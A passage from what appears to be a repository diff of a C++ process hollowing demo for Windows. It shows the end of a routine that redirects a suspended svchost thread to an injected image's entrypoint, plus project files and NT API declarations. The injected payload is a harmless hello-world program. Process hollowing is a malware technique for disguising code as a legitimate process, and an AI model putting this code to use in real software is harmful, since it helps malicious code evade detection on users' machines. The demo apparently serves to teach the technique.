pProcessInfo->hProcess,
(PVOID)dwEntrypoint,
&dwBreakpoint,
4,
0
))
{
printf("Error writing breakpoint\r\n");
return;
}
#endif
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;
printf("Getting thread context\r\n");
if (!GetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error getting context\r\n");
return;
}
pContext->Eax = dwEntrypoint;
printf("Setting thread context\r\n");
if (!SetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error setting context\r\n");
return;
}
printf("Resuming thread\r\n");
if (!ResumeThread(pProcessInfo->hThread))
{
printf("Error resuming thread\r\n");
return;
}
printf("Process hollowing complete\r\n");
}
int _tmain(int argc, _TCHAR* argv[])
{
char* pPath = new char[MAX_PATH];
GetModuleFileNameA(0, pPath, MAX_PATH);
pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess
(
"svchost",
pPath
);
system("pause");
return 0;
}

View File

@ -0,0 +1,237 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="ProcessHollowing"
ProjectGUID="{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}"
RootNamespace="ProcessHollowing"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="2"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="1"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="2"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="2"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\PE.cpp"
>
</File>
<File
RelativePath=".\ProcessHollowing.cpp"
>
</File>
<File
RelativePath=".\stdafx.cpp"
>
<FileConfiguration
Name="Debug|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"
/>
</FileConfiguration>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath=".\internals.h"
>
</File>
<File
RelativePath=".\PE.h"
>
</File>
<File
RelativePath=".\stdafx.h"
>
</File>
<File
RelativePath=".\targetver.h"
>
</File>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
>
</Filter>
<File
RelativePath=".\ReadMe.txt"
>
</File>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -0,0 +1,109 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}</ProjectGuid>
<RootNamespace>ProcessHollowing</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>Unicode</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</LinkIncremental>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental>
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="PE.cpp" />
<ClCompile Include="ProcessHollowing.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="internals.h" />
<ClInclude Include="PE.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,45 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="PE.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ProcessHollowing.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="internals.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="PE.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
</Project>

View File

@ -0,0 +1,27 @@
struct PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
DWORD PebBaseAddress;
PVOID Reserved2[2];
DWORD UniqueProcessId;
PVOID Reserved3;
};
typedef NTSTATUS (WINAPI* _NtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
typedef NTSTATUS (WINAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
DWORD ProcessInformationLength,
PDWORD ReturnLength
);
typedef NTSTATUS (WINAPI* _NtQuerySystemInformation)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// ProcessHollowing.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,15 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,13 @@
#pragma once
// The following macros define the minimum required platform. The minimum required platform
// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run
// your application. The macros work by enabling all features available on platform versions up to and
// including the version specified.
// Modify the following defines if you have to target a platform prior to the ones specified below.
// Refer to MSDN for the latest info on corresponding values for different platforms.
#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.
#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows.
#endif